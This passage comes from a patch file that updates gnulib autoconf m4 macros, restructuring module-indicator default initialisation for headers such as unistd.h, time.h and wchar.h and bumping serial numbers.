++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKNOD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKNODAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UTIMENSAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OVERRIDES_STRUCT_STAT])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CHMOD], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_MKDIR], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_UMASK], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_SYS_STAT_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_SYS_STAT_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_SYS_STAT_H_DEFAULTS],
+ [
+- AC_REQUIRE([gl_UNISTD_H_DEFAULTS]) dnl for REPLACE_FCHDIR
+- GNULIB_FCHMODAT=0; AC_SUBST([GNULIB_FCHMODAT])
+- GNULIB_FSTAT=0; AC_SUBST([GNULIB_FSTAT])
+- GNULIB_FSTATAT=0; AC_SUBST([GNULIB_FSTATAT])
+- GNULIB_FUTIMENS=0; AC_SUBST([GNULIB_FUTIMENS])
+- GNULIB_GETUMASK=0; AC_SUBST([GNULIB_GETUMASK])
+- GNULIB_LCHMOD=0; AC_SUBST([GNULIB_LCHMOD])
+- GNULIB_LSTAT=0; AC_SUBST([GNULIB_LSTAT])
+- GNULIB_MKDIR=0; AC_SUBST([GNULIB_MKDIR])
+- GNULIB_MKDIRAT=0; AC_SUBST([GNULIB_MKDIRAT])
+- GNULIB_MKFIFO=0; AC_SUBST([GNULIB_MKFIFO])
+- GNULIB_MKFIFOAT=0; AC_SUBST([GNULIB_MKFIFOAT])
+- GNULIB_MKNOD=0; AC_SUBST([GNULIB_MKNOD])
+- GNULIB_MKNODAT=0; AC_SUBST([GNULIB_MKNODAT])
+- GNULIB_STAT=0; AC_SUBST([GNULIB_STAT])
+- GNULIB_UTIMENSAT=0; AC_SUBST([GNULIB_UTIMENSAT])
+- GNULIB_OVERRIDES_STRUCT_STAT=0; AC_SUBST([GNULIB_OVERRIDES_STRUCT_STAT])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_CHMOD=1; AC_SUBST([GNULIB_MDA_CHMOD])
+- GNULIB_MDA_MKDIR=1; AC_SUBST([GNULIB_MDA_MKDIR])
+- GNULIB_MDA_UMASK=1; AC_SUBST([GNULIB_MDA_UMASK])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_FCHMODAT=1; AC_SUBST([HAVE_FCHMODAT])
+ HAVE_FSTATAT=1; AC_SUBST([HAVE_FSTATAT])
+--- a/gnulib/m4/sys_types_h.m4
++++ b/gnulib/m4/sys_types_h.m4
+@@ -1,4 +1,4 @@
+-# sys_types_h.m4 serial 11
++# sys_types_h.m4 serial 13
+ dnl Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,10 +6,11 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN_ONCE([gl_SYS_TYPES_H],
+ [
++ AC_REQUIRE([gl_SYS_TYPES_H_DEFAULTS])
++
+ dnl Use sane struct stat types in OpenVMS 8.2 and later.
+ AC_DEFINE([_USE_STD_STAT], 1, [For standard stat data types on VMS.])
+
+- AC_REQUIRE([gl_SYS_TYPES_H_DEFAULTS])
+ gl_NEXT_HEADERS([sys/types.h])
+
+ dnl Ensure the type pid_t gets defined.
+@@ -30,6 +31,17 @@ AC_DEFUN_ONCE([gl_SYS_TYPES_H],
+ AC_SUBST([WINDOWS_STAT_INODES])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_SYS_TYPES_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_SYS_TYPE_H_MODULE_INDICATOR_DEFAULTS], [
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_SYS_TYPE_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_SYS_TYPES_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_SYS_TYPES_H_DEFAULTS],
+ [
+ ])
+--- a/gnulib/m4/time_h.m4
++++ b/gnulib/m4/time_h.m4
+@@ -2,7 +2,7 @@
+
+ # Copyright (C) 2000-2001, 2003-2007, 2009-2021 Free Software Foundation, Inc.
+
+-# serial 15
++# serial 18
+
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -10,16 +10,11 @@
+
+ # Written by Paul Eggert and Jim Meyering.
+
+-AC_DEFUN([gl_HEADER_TIME_H],
++AC_DEFUN_ONCE([gl_TIME_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
+- AC_REQUIRE([gl_HEADER_TIME_H_BODY])
+-])
+-
+-AC_DEFUN([gl_HEADER_TIME_H_BODY],
+-[
+- AC_REQUIRE([gl_HEADER_TIME_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
++ AC_REQUIRE([gl_TIME_H_DEFAULTS])
+
+ gl_NEXT_HEADERS([time.h])
+ AC_REQUIRE([gl_CHECK_TYPE_STRUCT_TIMESPEC])
+@@ -111,30 +106,45 @@ AC_DEFUN([gl_CHECK_TYPE_STRUCT_TIMESPEC]
+ AC_SUBST([UNISTD_H_DEFINES_STRUCT_TIMESPEC])
+ ])
+
++# gl_TIME_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_TIME_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_HEADER_TIME_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_TIME_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
+-AC_DEFUN([gl_HEADER_TIME_H_DEFAULTS],
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_TIME_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_TIME_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LOCALTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_NANOSLEEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRFTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRPTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIMEGM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIMESPEC_GET])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIME_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIME_RZ])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TZSET])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_TZSET], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_TIME_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_TIME_H_DEFAULTS])
++])
++
++AC_DEFUN([gl_TIME_H_DEFAULTS],
+ [
+- GNULIB_CTIME=0; AC_SUBST([GNULIB_CTIME])
+- GNULIB_MKTIME=0; AC_SUBST([GNULIB_MKTIME])
+- GNULIB_LOCALTIME=0; AC_SUBST([GNULIB_LOCALTIME])
+- GNULIB_NANOSLEEP=0; AC_SUBST([GNULIB_NANOSLEEP])
+- GNULIB_STRFTIME=0; AC_SUBST([GNULIB_STRFTIME])
+- GNULIB_STRPTIME=0; AC_SUBST([GNULIB_STRPTIME])
+- GNULIB_TIMEGM=0; AC_SUBST([GNULIB_TIMEGM])
+- GNULIB_TIMESPEC_GET=0; AC_SUBST([GNULIB_TIMESPEC_GET])
+- GNULIB_TIME_R=0; AC_SUBST([GNULIB_TIME_R])
+- GNULIB_TIME_RZ=0; AC_SUBST([GNULIB_TIME_RZ])
+- GNULIB_TZSET=0; AC_SUBST([GNULIB_TZSET])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_TZSET=1; AC_SUBST([GNULIB_MDA_TZSET])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_DECL_LOCALTIME_R=1; AC_SUBST([HAVE_DECL_LOCALTIME_R])
+ HAVE_NANOSLEEP=1; AC_SUBST([HAVE_NANOSLEEP])
+--- a/gnulib/m4/unistd_h.m4
++++ b/gnulib/m4/unistd_h.m4
+@@ -1,4 +1,4 @@
+-# unistd_h.m4 serial 85
++# unistd_h.m4 serial 89
+ dnl Copyright (C) 2006-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,10 +6,10 @@ dnl with or without modifications, as lo
+
+ dnl Written by Simon Josefsson, Bruno Haible.
+
+-AC_DEFUN([gl_UNISTD_H],
++AC_DEFUN_ONCE([gl_UNISTD_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
+ AC_REQUIRE([gl_UNISTD_H_DEFAULTS])
+
+ gl_CHECK_NEXT_HEADERS([unistd.h])
+@@ -59,100 +59,116 @@ AC_DEFUN([gl_UNISTD_H],
+ fi
+ ])
+
++# gl_UNISTD_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_UNISTD_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_UNISTD_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_UNISTD_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_UNISTD_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_UNISTD_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ACCESS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CHDIR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CHOWN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CLOSE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_COPY_FILE_RANGE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUP2])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUP3])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ENVIRON])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EUIDACCESS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECLE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECLP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECVE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECVP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECVPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FACCESSAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCHDIR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCHOWNAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FDATASYNC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSYNC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FTRUNCATE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETCWD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETDOMAINNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETDTABLESIZE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETENTROPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETGROUPS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETHOSTNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLOGIN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLOGIN_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETOPT_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETPAGESIZE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETPASS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETUSERSHELL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GROUP_MEMBER])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISATTY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LCHOWN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LINK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LINKAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LSEEK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PIPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PIPE2])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PREAD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PWRITE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_READ])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_READLINK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_READLINKAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RMDIR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETHOSTNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SLEEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SYMLINK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SYMLINKAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TRUNCATE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TTYNAME_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_GETOPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_NONBLOCKING])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_SIGPIPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNLINK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNLINKAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_USLEEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WRITE])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_ACCESS], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CHDIR], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CLOSE], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_DUP], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_DUP2], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECL], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECLE], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECLP], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECV], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECVE], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECVP], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECVPE], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GETCWD], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GETPID], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_ISATTY], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_LSEEK], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_READ], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_RMDIR], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_SWAB], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_UNLINK], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_WRITE], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_UNISTD_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_UNISTD_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_UNISTD_H_DEFAULTS],
+ [
+- GNULIB_ACCESS=0; AC_SUBST([GNULIB_ACCESS])
+- GNULIB_CHDIR=0; AC_SUBST([GNULIB_CHDIR])
+- GNULIB_CHOWN=0; AC_SUBST([GNULIB_CHOWN])
+- GNULIB_CLOSE=0; AC_SUBST([GNULIB_CLOSE])
+- GNULIB_COPY_FILE_RANGE=0; AC_SUBST([GNULIB_COPY_FILE_RANGE])
+- GNULIB_DUP=0; AC_SUBST([GNULIB_DUP])
+- GNULIB_DUP2=0; AC_SUBST([GNULIB_DUP2])
+- GNULIB_DUP3=0; AC_SUBST([GNULIB_DUP3])
+- GNULIB_ENVIRON=0; AC_SUBST([GNULIB_ENVIRON])
+- GNULIB_EUIDACCESS=0; AC_SUBST([GNULIB_EUIDACCESS])
+- GNULIB_EXECL=0; AC_SUBST([GNULIB_EXECL])
+- GNULIB_EXECLE=0; AC_SUBST([GNULIB_EXECLE])
+- GNULIB_EXECLP=0; AC_SUBST([GNULIB_EXECLP])
+- GNULIB_EXECV=0; AC_SUBST([GNULIB_EXECV])
+- GNULIB_EXECVE=0; AC_SUBST([GNULIB_EXECVE])
+- GNULIB_EXECVP=0; AC_SUBST([GNULIB_EXECVP])
+- GNULIB_EXECVPE=0; AC_SUBST([GNULIB_EXECVPE])
+- GNULIB_FACCESSAT=0; AC_SUBST([GNULIB_FACCESSAT])
+- GNULIB_FCHDIR=0; AC_SUBST([GNULIB_FCHDIR])
+- GNULIB_FCHOWNAT=0; AC_SUBST([GNULIB_FCHOWNAT])
+- GNULIB_FDATASYNC=0; AC_SUBST([GNULIB_FDATASYNC])
+- GNULIB_FSYNC=0; AC_SUBST([GNULIB_FSYNC])
+- GNULIB_FTRUNCATE=0; AC_SUBST([GNULIB_FTRUNCATE])
+- GNULIB_GETCWD=0; AC_SUBST([GNULIB_GETCWD])
+- GNULIB_GETDOMAINNAME=0; AC_SUBST([GNULIB_GETDOMAINNAME])
+- GNULIB_GETDTABLESIZE=0; AC_SUBST([GNULIB_GETDTABLESIZE])
+- GNULIB_GETENTROPY=0; AC_SUBST([GNULIB_GETENTROPY])
+- GNULIB_GETGROUPS=0; AC_SUBST([GNULIB_GETGROUPS])
+- GNULIB_GETHOSTNAME=0; AC_SUBST([GNULIB_GETHOSTNAME])
+- GNULIB_GETLOGIN=0; AC_SUBST([GNULIB_GETLOGIN])
+- GNULIB_GETLOGIN_R=0; AC_SUBST([GNULIB_GETLOGIN_R])
+- GNULIB_GETOPT_POSIX=0; AC_SUBST([GNULIB_GETOPT_POSIX])
+- GNULIB_GETPAGESIZE=0; AC_SUBST([GNULIB_GETPAGESIZE])
+- GNULIB_GETPASS=0; AC_SUBST([GNULIB_GETPASS])
+- GNULIB_GETUSERSHELL=0; AC_SUBST([GNULIB_GETUSERSHELL])
+- GNULIB_GROUP_MEMBER=0; AC_SUBST([GNULIB_GROUP_MEMBER])
+- GNULIB_ISATTY=0; AC_SUBST([GNULIB_ISATTY])
+- GNULIB_LCHOWN=0; AC_SUBST([GNULIB_LCHOWN])
+- GNULIB_LINK=0; AC_SUBST([GNULIB_LINK])
+- GNULIB_LINKAT=0; AC_SUBST([GNULIB_LINKAT])
+- GNULIB_LSEEK=0; AC_SUBST([GNULIB_LSEEK])
+- GNULIB_PIPE=0; AC_SUBST([GNULIB_PIPE])
+- GNULIB_PIPE2=0; AC_SUBST([GNULIB_PIPE2])
+- GNULIB_PREAD=0; AC_SUBST([GNULIB_PREAD])
+- GNULIB_PWRITE=0; AC_SUBST([GNULIB_PWRITE])
+- GNULIB_READ=0; AC_SUBST([GNULIB_READ])
+- GNULIB_READLINK=0; AC_SUBST([GNULIB_READLINK])
+- GNULIB_READLINKAT=0; AC_SUBST([GNULIB_READLINKAT])
+- GNULIB_RMDIR=0; AC_SUBST([GNULIB_RMDIR])
+- GNULIB_SETHOSTNAME=0; AC_SUBST([GNULIB_SETHOSTNAME])
+- GNULIB_SLEEP=0; AC_SUBST([GNULIB_SLEEP])
+- GNULIB_SYMLINK=0; AC_SUBST([GNULIB_SYMLINK])
+- GNULIB_SYMLINKAT=0; AC_SUBST([GNULIB_SYMLINKAT])
+- GNULIB_TRUNCATE=0; AC_SUBST([GNULIB_TRUNCATE])
+- GNULIB_TTYNAME_R=0; AC_SUBST([GNULIB_TTYNAME_R])
+- GNULIB_UNISTD_H_NONBLOCKING=0; AC_SUBST([GNULIB_UNISTD_H_NONBLOCKING])
+- GNULIB_UNISTD_H_SIGPIPE=0; AC_SUBST([GNULIB_UNISTD_H_SIGPIPE])
+- GNULIB_UNLINK=0; AC_SUBST([GNULIB_UNLINK])
+- GNULIB_UNLINKAT=0; AC_SUBST([GNULIB_UNLINKAT])
+- GNULIB_USLEEP=0; AC_SUBST([GNULIB_USLEEP])
+- GNULIB_WRITE=0; AC_SUBST([GNULIB_WRITE])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_ACCESS=1; AC_SUBST([GNULIB_MDA_ACCESS])
+- GNULIB_MDA_CHDIR=1; AC_SUBST([GNULIB_MDA_CHDIR])
+- GNULIB_MDA_CLOSE=1; AC_SUBST([GNULIB_MDA_CLOSE])
+- GNULIB_MDA_DUP=1; AC_SUBST([GNULIB_MDA_DUP])
+- GNULIB_MDA_DUP2=1; AC_SUBST([GNULIB_MDA_DUP2])
+- GNULIB_MDA_EXECL=1; AC_SUBST([GNULIB_MDA_EXECL])
+- GNULIB_MDA_EXECLE=1; AC_SUBST([GNULIB_MDA_EXECLE])
+- GNULIB_MDA_EXECLP=1; AC_SUBST([GNULIB_MDA_EXECLP])
+- GNULIB_MDA_EXECV=1; AC_SUBST([GNULIB_MDA_EXECV])
+- GNULIB_MDA_EXECVE=1; AC_SUBST([GNULIB_MDA_EXECVE])
+- GNULIB_MDA_EXECVP=1; AC_SUBST([GNULIB_MDA_EXECVP])
+- GNULIB_MDA_EXECVPE=1; AC_SUBST([GNULIB_MDA_EXECVPE])
+- GNULIB_MDA_GETCWD=1; AC_SUBST([GNULIB_MDA_GETCWD])
+- GNULIB_MDA_GETPID=1; AC_SUBST([GNULIB_MDA_GETPID])
+- GNULIB_MDA_ISATTY=1; AC_SUBST([GNULIB_MDA_ISATTY])
+- GNULIB_MDA_LSEEK=1; AC_SUBST([GNULIB_MDA_LSEEK])
+- GNULIB_MDA_READ=1; AC_SUBST([GNULIB_MDA_READ])
+- GNULIB_MDA_RMDIR=1; AC_SUBST([GNULIB_MDA_RMDIR])
+- GNULIB_MDA_SWAB=1; AC_SUBST([GNULIB_MDA_SWAB])
+- GNULIB_MDA_UNLINK=1; AC_SUBST([GNULIB_MDA_UNLINK])
+- GNULIB_MDA_WRITE=1; AC_SUBST([GNULIB_MDA_WRITE])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_CHOWN=1; AC_SUBST([HAVE_CHOWN])
+ HAVE_COPY_FILE_RANGE=1; AC_SUBST([HAVE_COPY_FILE_RANGE])
+--- a/gnulib/m4/visibility.m4
++++ b/gnulib/m4/visibility.m4
+@@ -1,4 +1,4 @@
+-# visibility.m4 serial 7
++# visibility.m4 serial 8
+ dnl Copyright (C) 2005, 2008, 2010-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -59,6 +59,10 @@ AC_DEFUN([gl_VISIBILITY],
+ extern __attribute__((__visibility__("hidden"))) int hiddenfunc (void);
+ extern __attribute__((__visibility__("default"))) int exportedfunc (void);
+ void dummyfunc (void);
++ int hiddenvar;
++ int exportedvar;
++ int hiddenfunc (void) { return 51; }
++ int exportedfunc (void) { return 1225736919; }
+ void dummyfunc (void) {}
+ ]],
+ [[]])],
+--- a/gnulib/m4/wchar_h.m4
++++ b/gnulib/m4/wchar_h.m4
+@@ -7,9 +7,9 @@ dnl with or without modifications, as lo
+
+ dnl Written by Eric Blake.
+
+-# wchar_h.m4 serial 50
++# wchar_h.m4 serial 53
+
+-AC_DEFUN([gl_WCHAR_H],
++AC_DEFUN_ONCE([gl_WCHAR_H],
+ [
+ AC_REQUIRE([gl_WCHAR_H_DEFAULTS])
+ AC_REQUIRE([gl_WCHAR_H_INLINE_OK])
+@@ -125,60 +125,75 @@ Configuration aborted.])
+ fi
+ ])
+
++# gl_WCHAR_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_WCHAR_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_WCHAR_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_WCHAR_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_WCHAR_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_WCHAR_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_BTOWC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTOB])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSINIT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBRTOWC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBRLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSRTOWCS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSNRTOWCS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCRTOMB])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSRTOMBS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNRTOMBS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCWIDTH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMCMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMMOVE])
